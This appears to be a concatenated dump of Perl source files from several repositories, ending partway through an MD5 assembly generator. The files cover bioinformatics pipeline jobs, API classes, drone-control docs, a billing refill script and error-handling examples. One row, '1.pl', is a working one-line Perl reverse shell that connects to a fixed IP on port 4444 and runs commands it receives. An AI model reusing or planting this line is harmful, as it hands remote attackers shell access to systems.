chomp($line);
my @part = split( /\t/, $line );
if ( $part[13] eq "yes" ) {
$result->{ $part[2] } = $line;
}
}
close IN;
return ( $result, $header );
}
#use CQS::RNASeq;
#my $root = "/home/xxx/cuffdiff/result";
#my $targetdir = create_directory_or_die( $root . "/comparison" );
#my $config = {
# "RenameDiff" => {
# target_dir => $targetdir,
# root_dir => $root
# }
#}
#copy_and_rename_cuffdiff_file($config, "RenameDiff");
sub copy_and_rename_cuffdiff_file {
my ( $config, $section ) = @_;
my $dir = $config->{$section}{"root_dir"} or die "define ${section}::root_dir first";
if ( !-d $dir ) {
die "directory $dir is not exists";
}
my $targetdir = $config->{$section}{"target_dir"} or die "define ${section}::target_dir first";
if ( !-d $targetdir ) {
create_directory_or_die($targetdir);
}
my $gene_only = $config->{$section}{"gene_only"};
if ( !defined($gene_only) ) {
$gene_only = 0;
}
my @subdirs = list_directories($dir);
if ( 0 == scalar(@subdirs) ) {
die "$dir has no sub CuffDiff directories";
}
my @filenames;
if ($gene_only) {
@filenames = ("gene_exp.diff");
}
else {
@filenames = ( "gene_exp.diff", "splicing.diff" );
}
for my $subdir (@subdirs) {
foreach my $filename (@filenames) {
my $file = "${dir}/${subdir}/${filename}";
if ( -s $file ) {
print "Dealing " . $file . "\n";
open IN, "<$file" or die "Cannot open file $file";
my $line = <IN>;
$line = <IN>;
close(IN);
if ( defined($line) ) {
my @parts = split( /\t/, $line );
my $partcount = scalar(@parts);
my $targetname = "${targetdir}/${subdir}.${filename}";
copy( $file, $targetname ) or die "copy failed : $!";
my $target_sign_name = $targetname . ".sig";
my $cmd;
if ($gene_only) {
$cmd = "cat $targetname | awk '(\$3 != \"-\") && (\$$partcount==\"yes\" || \$$partcount==\"significant\")' > $target_sign_name";
}
else {
$cmd = "cat $targetname | awk '\$$partcount==\"yes\" || \$$partcount==\"significant\"' > $target_sign_name";
}
print $cmd . "\n";
`$cmd`;
}
}
}
}
}
sub output_compare_cuffdiff_file {
my ( $data1, $data2, $fileName, $header, @genes ) = @_;
open OUT, ">$fileName" or die "Cannot create file $fileName";
print OUT "$header\n";
my @sortedgenes = sort @genes;
for my $gene (@sortedgenes) {
if ( defined $data1->{$gene} ) {
print OUT "$data1->{$gene}\n";
}
if ( defined $data2->{$gene} ) {
print OUT "$data2->{$gene}\n";
}
}
close(OUT);
}
sub compare_cuffdiff {
my ( $config, $section ) = @_;
my $info = $config->{$section};
my ( $file1, $file2 ) = @{ $info->{"files"} };
my ( $data1, $header ) = read_cuffdiff_significant_genes($file1);
my ( $data2, $header2 ) = read_cuffdiff_significant_genes($file2);
my @genes1 = keys %{$data1};
my @genes2 = keys %{$data2};
my $lc = List::Compare->new( \@genes1, \@genes2 );
my @resultgenes = ();
if ( $info->{operation} eq "minus" ) {
@resultgenes = $lc->get_Lonly();
}
elsif ( $info->{operation} eq "intersect" ) {
@resultgenes = $lc->get_intersection();
}
else {
die "Only minus or intersect is supported.";
}
my $resultFileName = $info->{"target_file"};
output_compare_cuffdiff_file( $data1, $data2, $resultFileName, $header, @resultgenes );
}
sub output_header {
my ( $pbsFile, $pbsDesc, $path_file, $log ) = @_;
open( OUT, ">$pbsFile" ) or die $!;
print OUT "$pbsDesc
PBS -o $log
#PBS -j oe
$path_file
";
}
sub output_footer() {
print OUT "echo finished=`date`\n";
close OUT;
}
sub miso_by_pbs {
my ( $config, $section ) = @_;
my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option ) = get_parameter( $config, $section );
my $gff3file = get_param_file( $config->{$section}{gff3_file}, "gff3_file", 1 );
my $gff3index = $gff3file . "indexed";
my %tophat2map = %{ get_tophat2_map( $config, $section ) };
my $shfile = $pbsDir . "/${task_name}.submit";
open( SH, ">$shfile" ) or die "Cannot create $shfile";
print SH "if [ ! -d $gff3index ];\n";
print SH "then\n";
print SH " index_gff.py --index $gff3file $gff3index \n";
print SH "fi\n\n";
for my $sampleName ( sort keys %tophat2map ) {
my $tophat2File = $tophat2map{$sampleName};
my $tophat2indexFile = $tophat2File . ".bai";
my $pbsName = "${sampleName}_miso.pbs";
my $pbsFile = $pbsDir . "/$pbsName";
print SH "if [ ! -s $tophat2File ];\n";
print SH "then";
print SH " echo tophat2 of ${sampleName} has not finished, ignore current job. \n";
print SH "else\n";
print SH " qsub ./$pbsName \n";
print SH " echo $pbsName was submitted. \n";
print SH "fi\n";
my $log = $logDir . "/${sampleName}_miso.log";
output_header( $pbsFile, $pbsDesc, $path_file, $log );
my $curDir = create_directory_or_die( $resultDir . "/$sampleName" );
print OUT "echo MISO=`date` \n";
print OUT "if [ ! -e $tophat2indexFile ];\n";
print OUT "then\n";
print OUT " samtools index $tophat2File \n";
print OUT "fi\n";
print OUT "run_events_analysis.py --compute-genes-psi $gff3index $tophat2File --output-dir $curDir --read-len 35 \n";
output_footer();
print "$pbsFile created\n";
}
print SH "\nexit 0\n";
close(SH);
if ( is_linux() ) {
chmod 0755, $shfile;
}
print "!!!shell file $shfile created, you can run this shell file to submit all miso tasks.\n";
}
sub novoalign {
my ( $config, $section ) = @_;
my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option ) = get_parameter( $config, $section );
my $novoindex = get_param_file( $config->{$section}{novoindex}, "novoindex", 1 );
my %rawFiles = %{ get_raw_files( $config, $section ) };
my $shfile = $pbsDir . "/${task_name}.sh";
open( SH, ">$shfile" ) or die "Cannot create $shfile";
print SH "type -P qsub &>/dev/null && export MYCMD=\"qsub\" || export MYCMD=\"bash\" \n";
for my $sampleName ( sort keys %rawFiles ) {
my @sampleFiles = @{ $rawFiles{$sampleName} };
my $sampleFile = $sampleFiles[0];
my $samFile = $sampleName . ".sam";
my $bamFile = $sampleName . ".bam";
my $sortedBamPrefix = $sampleName . "_sorted";
my $sortedBamFile = $sortedBamPrefix . ".bam";
my $pbsName = "${sampleName}_nalign.pbs";
my $pbsFile = "${pbsDir}/$pbsName";
print SH "\$MYCMD ./$pbsName \n";
my $log = "${logDir}/${sampleName}_nalign.log";
my $curDir = create_directory_or_die( $resultDir . "/$sampleName" );
open( OUT, ">$pbsFile" ) or die $!;
print OUT "$pbsDesc
#PBS -o $log
#PBS -j oe
$path_file
echo novoalign=`date`
cd $curDir
novoalign -d $novoindex -f $sampleFile $option -o SAM > $samFile
samtools view -b -S $samFile -o $bamFile
samtools sort $bamFile $sortedBamPrefix
samtools index $sortedBamFile
samtools flagstat $sortedBamFile > ${sortedBamFile}.stat
echo finished=`date`
";
close OUT;
print "$pbsFile created \n";
}
close(SH);
if ( is_linux() ) {
chmod 0755, $shfile;
}
print "!!!shell file $shfile created, you can run this shell file to submit all bwa tasks.\n";
#`qsub $pbsFile`;
}
sub shrimp2 {
my ( $config, $section ) = @_;
my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option, $sh_direct ) = get_parameter( $config, $section );
my $genome_index = $config->{$section}{genome_index} or die "define ${section}::genome_index first";
die "genome index ${genome_index}.genome not exist" if ( !-e "${genome_index}.genome" );
my $is_mirna = $config->{$section}{is_mirna} or die "define ${section}::is_mirna first";
my $output_bam = $config->{$section}{output_bam} or die "define ${section}::output_bam first";
my $mirna = "-M mirna" if $is_mirna or "";
my %rawFiles = %{ get_raw_files( $config, $section ) };
my $shfile = $pbsDir . "/${task_name}.sh";
open( SH, ">$shfile" ) or die "Cannot create $shfile";
if ($sh_direct) {
print SH "export MYCMD=\"bash\" \n";
}
else {
print SH "type -P qsub &>/dev/null && export MYCMD=\"qsub\" || export MYCMD=\"bash\" \n";
}
for my $sampleName ( sort keys %rawFiles ) {
my $sampleFile = $rawFiles{$sampleName};
my $shrimpFile = $sampleName . ".shrimp";
my $samFile = $sampleName . ".sam";
my $bamFile = $sampleName . ".bam";
my $sortedBamPrefix = $sampleName . "_sorted";
my $sortedBamFile = $sortedBamPrefix . ".bam";
my $pbsName = "${sampleName}_shrimp2.pbs";
my $pbsFile = "${pbsDir}/$pbsName";
print SH "\$MYCMD ./$pbsName \n";
my $log = "${logDir}/${sampleName}_shrimp2.log";
my $curDir = create_directory_or_die( $resultDir . "/$sampleName" );
open( OUT, ">$pbsFile" ) or die $!;
print OUT "$pbsDesc
#PBS -o $log
#PBS -j oe
$path_file
echo shrimp2=`date`
cd $curDir
";
if ($output_bam) {
print OUT "gmapper -L $genome_index $sampleFile $mirna $option --extra-sam-fields >$samFile
if [ -s $samFile ]; then
samtools view -b -S $samFile -o $bamFile
samtools sort $bamFile $sortedBamPrefix
samtools index $sortedBamFile
samtools flagstat $sortedBamFile > ${sortedBamFile}.stat
fi
echo finished=`date`
";
}
else {
print OUT "gmapper -L $genome_index $sampleFile $mirna $option --pretty >$shrimpFile
echo finished=`date`
";
}
close OUT;
print "$pbsFile created \n";
}
close(SH);
if ( is_linux() ) {
chmod 0755, $shfile;
}
print "!!!shell file $shfile created, you can run this shell file to submit all shrimp2 tasks.\n";
#`qsub $pbsFile`;
}
1;
| realizor/ngsperl | lib/CQS/RNASeq.pm | Perl | apache-2.0 | 15,371 |
# Copyright 2020, Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
package Google::Ads::GoogleAds::V9::Resources::AdGroupAsset;
use strict;
use warnings;
use base qw(Google::Ads::GoogleAds::BaseEntity);
use Google::Ads::GoogleAds::Utils::GoogleAdsHelper;
sub new {
my ($class, $args) = @_;
my $self = {
adGroup => $args->{adGroup},
asset => $args->{asset},
fieldType => $args->{fieldType},
resourceName => $args->{resourceName},
status => $args->{status}};
# Delete the unassigned fields in this object for a more concise JSON payload
remove_unassigned_fields($self, $args);
bless $self, $class;
return $self;
}
1;
| googleads/google-ads-perl | lib/Google/Ads/GoogleAds/V9/Resources/AdGroupAsset.pm | Perl | apache-2.0 | 1,183 |
package VMOMI::InvalidController;
use parent 'VMOMI::InvalidDeviceSpec';
use strict;
use warnings;
our @class_ancestors = (
'InvalidDeviceSpec',
'InvalidVmConfig',
'VmConfigFault',
'VimFault',
'MethodFault',
);
our @class_members = (
['controllerKey', undef, 0, ],
);
sub get_class_ancestors {
return @class_ancestors;
}
sub get_class_members {
my $class = shift;
my @super_members = $class->SUPER::get_class_members();
return (@super_members, @class_members);
}
1;
| stumpr/p5-vmomi | lib/VMOMI/InvalidController.pm | Perl | apache-2.0 | 514 |
# Copyright (c) 2015 Timm Murray
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
package UAV::Pilot::ARDrone;
use v5.14;
use warnings;
use Moose;
use namespace::autoclean;
# ABSTRACT: Implements the Parrot AR.Drone under UAV::Pilot
no Moose;
__PACKAGE__->meta->make_immutable;
1;
__END__
=head1 NAME
UAV::Pilot::ARDrone
=head1 SYNOPSIS
use UAV::Pilot::ARDrone::Driver;
use UAV::Pilot::ARDrone::Control;
my $ardrone = UAV::Pilot::ARDrone::Driver->new({
host => '192.168.1.1',
});
$ardrone->connect;
my $dev = UAV::Pilot::ARDrone::Control->new({
sender => $ardrone,
});
$dev->takeoff;
$dev->pitch( 0.5 );
$dev->flip_left;
$dev->land;
=head1 DESCRIPTION
Library for controlling Unmanned Aerial Drones.
=head1 FIRST FLIGHT OF AR.DRONE
=head2 Initial Setup
Connect the battery and put on the indoor or outdoor hull (as needed).
By default, the AR.Drone starts as its own wireless access point. Configure your wireless
network to connect to it.
=head2 The Shell
The C<uav> program connects to the UAV and prompts for commands. Simply start it and
wait for the C<<uav>>> prompt. You can exit by typing C<exit;>, C<quit;>, or C<q;>.
The shell takes Perl statements ending with 'C<;>'. Only a basic shell is loaded by
default. You must first load the AR.Drone libraries into the system, which you can do with:
load 'ARDrone';
The ARDrone module will now be loaded. You can now tell it to takeoff, wave, flip, and land.
takeoff;
wave;
flip_left;
land;
If your drone suddenly stops, has all red lights, and won't takeoff again, then it went into
emergency mode. You get it out of this mode with the command:
emergency;
Which also works to toggle emergency mode back on if your UAV goes out of control.
If needed, you can force emergency mode by grabbing the UAV in midair (one hand on top, one
on the bottom) and flipping it over.
For simple piloting, the commands C<roll/pitch/yaw> can be used. Each of these takes a
single parameter of a floating point nubmer between -1.0 and 1.0:
roll -0.5;
pitch 1.0;
yaw 0.25;
As you can see, sending a single command only causes the manuever for a brief moment
before stopping. Commands must be continuously sent in order to have smooth flight.
TODO Write how to send commands continuously once we figure out how
=head1 OTHER LINKS
L<http://www.wumpus-cave.net> - Developer's blog
L<http://projects.ardrone.org> - AR.Drone Open API
L<http://ardrone2.parrot.com> - AR.Drone Homepage
=head1 LICENSE
Copyright (c) 2015 Timm Murray
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials
provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
=cut
| frezik/UAV-Pilot-ARDrone | lib/UAV/Pilot/ARDrone.pm | Perl | bsd-2-clause | 5,184 |
#!/usr/bin/env perl
use strict;
use warnings;
use Dumpvalue;
use Error::Pure::NoDie qw(err);
use Error::Pure::Utils qw(err_get);
# Error in eval.
eval { err '1', '2', '3'; };
# Error structure.
my @err = err_get();
# Dump.
my $dump = Dumpvalue->new;
$dump->dumpValues(\@err);
# In \@err:
# [
# {
# 'msg' => [
# '1',
# '2',
# '3',
# ],
# 'stack' => [
# {
# 'args' => '(1)',
# 'class' => 'main',
# 'line' => '9',
# 'prog' => 'script.pl',
# 'sub' => 'err',
# },
# {
# 'args' => '',
# 'class' => 'main',
# 'line' => '9',
# 'prog' => 'script.pl',
# 'sub' => 'eval {...}',
# },
# ],
# },
# ], | tupinek/Error-Pure-NoDie | examples/ex4.pl | Perl | bsd-2-clause | 1,160 |
#!/usr/bin/env perl
# Copyright (c) 2014-2015, Roman Khomasuridze, <khomasuridze@gmail.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# This script is part of FBilling,
# refill.pl - Responsible for refilling account credits
### TODO ##################################################################################
# - add logging capabilities
### END TODO ##############################################################################
use strict;
use warnings;
use DBI;
use Asterisk::AGI;
use Config::Tiny;
## load data from configuration file
my $main_conf = Config::Tiny->new;
$main_conf = Config::Tiny->read('/etc/asterisk/fbilling.conf');
my $db_host = $main_conf->{database}->{host};
my $db_user = $main_conf->{database}->{username};
my $db_pass = $main_conf->{database}->{password};
my $db_name = $main_conf->{database}->{database};
my $log_level = $main_conf->{general}->{log_level};
my $logfile = $main_conf->{general}->{log_location};
$SIG{HUP} = "IGNORE";
my $agi = Asterisk::AGI->new;
my $dbh = DBI->connect("dbi:mysql:$db_name:$db_host","$db_user","$db_pass");
if (!$dbh) {
Util::log("ERROR","NONE","Can not connect to database. Exitting...");
$agi->hangup;
exit 0;
}
my $query_refill_credit = "UPDATE billing_extensions SET credit = refill_value WHERE refill = 1";
my $sth_update_credit = $dbh->prepare($query_refill_credit);
$sth_update_credit->execute; | alkali147/fbilling | src/fbilling-libs/utils/refill.pl | Perl | bsd-2-clause | 2,658 |
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"167.114.98.148:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
| kurtcoke/randomcrap | 1.pl | Perl | bsd-3-clause | 234 |
#!/usr/bin/perl -w
#
# MD5 optimized for AMD64.
#
# Author: Marc Bevand <bevand_m (at) epita.fr>
# Licence: I hereby disclaim the copyright on this code and place it
# in the public domain.
#
use strict;
my $code;
# round1_step() does:
# dst = x + ((dst + F(x,y,z) + X[k] + T_i) <<< s)
# %r10d = X[k_next]
# %r11d = z' (copy of z for the next step)
# Each round1_step() takes about 5.3 clocks (9 instructions, 1.7 IPC)
sub round1_step
{
my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_;
$code .= " mov 0*4(%rsi), %r10d /* (NEXT STEP) X[0] */\n" if ($pos == -1);
$code .= " mov %edx, %r11d /* (NEXT STEP) z' = %edx */\n" if ($pos == -1);
$code .= <<EOF;
xor $y, %r11d /* y ^ ... */
lea $T_i($dst,%r10d),$dst /* Const + dst + ... */
and $x, %r11d /* x & ... */
xor $z, %r11d /* z ^ ... */
mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */
add %r11d, $dst /* dst += ... */
rol \$$s, $dst /* dst <<< s */
mov $y, %r11d /* (NEXT STEP) z' = $y */
add $x, $dst /* dst += x */
EOF
}
# round2_step() does:
# dst = x + ((dst + G(x,y,z) + X[k] + T_i) <<< s)
# %r10d = X[k_next]
# %r11d = z' (copy of z for the next step)
# %r12d = z' (copy of z for the next step)
# Each round2_step() takes about 5.4 clocks (11 instructions, 2.0 IPC)
sub round2_step
{
my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_;
$code .= " mov 1*4(%rsi), %r10d /* (NEXT STEP) X[1] */\n" if ($pos == -1);
$code .= " mov %edx, %r11d /* (NEXT STEP) z' = %edx */\n" if ($pos == -1);
$code .= " mov %edx, %r12d /* (NEXT STEP) z' = %edx */\n" if ($pos == -1);
$code .= <<EOF;
not %r11d /* not z */
lea $T_i($dst,%r10d),$dst /* Const + dst + ... */
and $x, %r12d /* x & z */
and $y, %r11d /* y & (not z) */
mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */
or %r11d, %r12d /* (y & (not z)) | (x & z) */
mov $y, %r11d /* (NEXT STEP) z' = $y */
add %r12d, $dst /* dst += ... */
mov $y, %r12d /* (NEXT STEP) z' = $y */
rol \$$s, $dst /* dst <<< s */
add $x, $dst /* dst += x */
EOF
}
# round3_step() does:
# dst = x + ((dst + H(x,y,z) + X[k] + T_i) <<< s)
# %r10d = X[k_next]
# %r11d = y' (copy of y for the next step)
# Each round3_step() takes about 4.2 clocks (8 instructions, 1.9 IPC)
sub round3_step
{
my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_;
$code .= " mov 5*4(%rsi), %r10d /* (NEXT STEP) X[5] */\n" if ($pos == -1);
$code .= " mov %ecx, %r11d /* (NEXT STEP) y' = %ecx */\n" if ($pos == -1);
$code .= <<EOF;
lea $T_i($dst,%r10d),$dst /* Const + dst + ... */
mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */
xor $z, %r11d /* z ^ ... */
xor $x, %r11d /* x ^ ... */
add %r11d, $dst /* dst += ... */
rol \$$s, $dst /* dst <<< s */
mov $x, %r11d /* (NEXT STEP) y' = $x */
add $x, $dst /* dst += x */
EOF
}
# round4_step() does:
# dst = x + ((dst + I(x,y,z) + X[k] + T_i) <<< s)
# %r10d = X[k_next]
# %r11d = not z' (copy of not z for the next step)
# Each round4_step() takes about 5.2 clocks (9 instructions, 1.7 IPC)
sub round4_step
{
my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_;
$code .= " mov 0*4(%rsi), %r10d /* (NEXT STEP) X[0] */\n" if ($pos == -1);
$code .= " mov \$0xffffffff, %r11d\n" if ($pos == -1);
$code .= " xor %edx, %r11d /* (NEXT STEP) not z' = not %edx*/\n"
if ($pos == -1);
$code .= <<EOF;
lea $T_i($dst,%r10d),$dst /* Const + dst + ... */
or $x, %r11d /* x | ... */
xor $y, %r11d /* y ^ ... */
add %r11d, $dst /* dst += ... */
mov $k_next*4(%rsi),%r10d /* (NEXT STEP) X[$k_next] */
mov \$0xffffffff, %r11d
rol \$$s, $dst /* dst <<< s */
xor $y, %r11d /* (NEXT STEP) not z' = not $y */
add $x, $dst /* dst += x */
EOF
}
my $flavour = shift;
my $output = shift;
if ($flavour =~ /\./) { $output = $flavour; undef $flavour; }
my $win64=0; $win64=1 if ($flavour =~ /[nm]asm|mingw64/ || $output =~ /\.asm$/);
$0 =~ m/(.*[\/\\])[^\/\\]+$/; my $dir=$1; my $xlate;
( $xlate="${dir}x86_64-xlate.pl" and -f $xlate ) or
( $xlate="${dir}../../perlasm/x86_64-xlate.pl" and -f $xlate) or
die "can't locate x86_64-xlate.pl";
no warnings qw(uninitialized);
open STDOUT,"| $^X $xlate $flavour $output";
$code .= <<EOF;
.text
.align 16
.globl md5_block_asm_data_order
.type md5_block_asm_data_order,\@function,3
md5_block_asm_data_order:
push %rbp
push %rbx
push %r12
push %r14
push %r15
.Lprologue:
# rdi = arg #1 (ctx, MD5_CTX pointer)
# rsi = arg #2 (ptr, data pointer)
# rdx = arg #3 (nbr, number of 16-word blocks to process)
mov %rdi, %rbp # rbp = ctx
shl \$6, %rdx # rdx = nbr in bytes
lea (%rsi,%rdx), %rdi # rdi = end
mov 0*4(%rbp), %eax # eax = ctx->A
mov 1*4(%rbp), %ebx # ebx = ctx->B
mov 2*4(%rbp), %ecx # ecx = ctx->C
mov 3*4(%rbp), %edx # edx = ctx->D
# end is 'rdi'
# ptr is 'rsi'
# A is 'eax'
# B is 'ebx'
# C is 'ecx'
# D is 'edx'
cmp %rdi, %rsi # cmp end with ptr
je .Lend # jmp if ptr == end
# BEGIN of loop over 16-word blocks
.Lloop: # save old values of A, B, C, D
mov %eax, %r8d
mov %ebx, %r9d
mov %ecx, %r14d
mov %edx, %r15d
EOF
round1_step(-1,'%eax','%ebx','%ecx','%edx', '1','0xd76aa478', '7');
round1_step( 0,'%edx','%eax','%ebx','%ecx', '2','0xe8c7b756','12');
round1_step( 0,'%ecx','%edx','%eax','%ebx', '3','0x242070db','17');
round1_step( 0,'%ebx','%ecx','%edx','%eax', '4','0xc1bdceee','22');
round1_step( 0,'%eax','%ebx','%ecx','%edx', '5','0xf57c0faf', '7');
round1_step( 0,'%edx','%eax','%ebx','%ecx', '6','0x4787c62a','12');
round1_step( 0,'%ecx','%edx','%eax','%ebx', '7','0xa8304613','17');
round1_step( 0,'%ebx','%ecx','%edx','%eax', '8','0xfd469501','22');
round1_step( 0,'%eax','%ebx','%ecx','%edx', '9','0x698098d8', '7');
round1_step( 0,'%edx','%eax','%ebx','%ecx','10','0x8b44f7af','12');
round1_step( 0,'%ecx','%edx','%eax','%ebx','11','0xffff5bb1','17');
round1_step( 0,'%ebx','%ecx','%edx','%eax','12','0x895cd7be','22');
round1_step( 0,'%eax','%ebx','%ecx','%edx','13','0x6b901122', '7');
round1_step( 0,'%edx','%eax','%ebx','%ecx','14','0xfd987193','12');
round1_step( 0,'%ecx','%edx','%eax','%ebx','15','0xa679438e','17');
round1_step( 1,'%ebx','%ecx','%edx','%eax', '0','0x49b40821','22');
round2_step(-1,'%eax','%ebx','%ecx','%edx', '6','0xf61e2562', '5');
round2_step( 0,'%edx','%eax','%ebx','%ecx','11','0xc040b340', '9');
round2_step( 0,'%ecx','%edx','%eax','%ebx', '0','0x265e5a51','14');
round2_step( 0,'%ebx','%ecx','%edx','%eax', '5','0xe9b6c7aa','20');
round2_step( 0,'%eax','%ebx','%ecx','%edx','10','0xd62f105d', '5');
round2_step( 0,'%edx','%eax','%ebx','%ecx','15', '0x2441453', '9');
round2_step( 0,'%ecx','%edx','%eax','%ebx', '4','0xd8a1e681','14');
round2_step( 0,'%ebx','%ecx','%edx','%eax', '9','0xe7d3fbc8','20');
round2_step( 0,'%eax','%ebx','%ecx','%edx','14','0x21e1cde6', '5');
round2_step( 0,'%edx','%eax','%ebx','%ecx', '3','0xc33707d6', '9');
round2_step( 0,'%ecx','%edx','%eax','%ebx', '8','0xf4d50d87','14');
round2_step( 0,'%ebx','%ecx','%edx','%eax','13','0x455a14ed','20');
round2_step( 0,'%eax','%ebx','%ecx','%edx', '2','0xa9e3e905', '5');
round2_step( 0,'%edx','%eax','%ebx','%ecx', '7','0xfcefa3f8', '9');
round2_step( 0,'%ecx','%edx','%eax','%ebx','12','0x676f02d9','14');
round2_step( 1,'%ebx','%ecx','%edx','%eax', '0','0x8d2a4c8a','20');
round3_step(-1,'%eax','%ebx','%ecx','%edx', '8','0xfffa3942', '4');
round3_step( 0,'%edx','%eax','%ebx','%ecx','11','0x8771f681','11');
round3_step( 0,'%ecx','%edx','%eax','%ebx','14','0x6d9d6122','16');
round3_step( 0,'%ebx','%ecx','%edx','%eax', '1','0xfde5380c','23');
round3_step( 0,'%eax','%ebx','%ecx','%edx', '4','0xa4beea44', '4');
round3_step( 0,'%edx','%eax','%ebx','%ecx', '7','0x4bdecfa9','11');
round3_step( 0,'%ecx','%edx','%eax','%ebx','10','0xf6bb4b60','16');
round3_step( 0,'%ebx','%ecx','%edx','%eax','13','0xbebfbc70','23');
round3_step( 0,'%eax','%ebx','%ecx','%edx', '0','0x289b7ec6', '4');
round3_step( 0,'%edx','%eax','%ebx','%ecx', '3','0xeaa127fa','11');
round3_step( 0,'%ecx','%edx','%eax','%ebx', '6','0xd4ef3085','16');
round3_step( 0,'%ebx','%ecx','%edx','%eax', '9', '0x4881d05','23');
round3_step( 0,'%eax','%ebx','%ecx','%edx','12','0xd9d4d039', '4');
round3_step( 0,'%edx','%eax','%ebx','%ecx','15','0xe6db99e5','11');
round3_step( 0,'%ecx','%edx','%eax','%ebx', '2','0x1fa27cf8','16');
round3_step( 1,'%ebx','%ecx','%edx','%eax', '0','0xc4ac5665','23');
round4_step(-1,'%eax','%ebx','%ecx','%edx', '7','0xf4292244', '6');
round4_step( 0,'%edx','%eax','%ebx','%ecx','14','0x432aff97','10');
round4_step( 0,'%ecx','%edx','%eax','%ebx', '5','0xab9423a7','15');
round4_step( 0,'%ebx','%ecx','%edx','%eax','12','0xfc93a039','21');
round4_step( 0,'%eax','%ebx','%ecx','%edx', '3','0x655b59c3', '6');
round4_step( 0,'%edx','%eax','%ebx','%ecx','10','0x8f0ccc92','10');
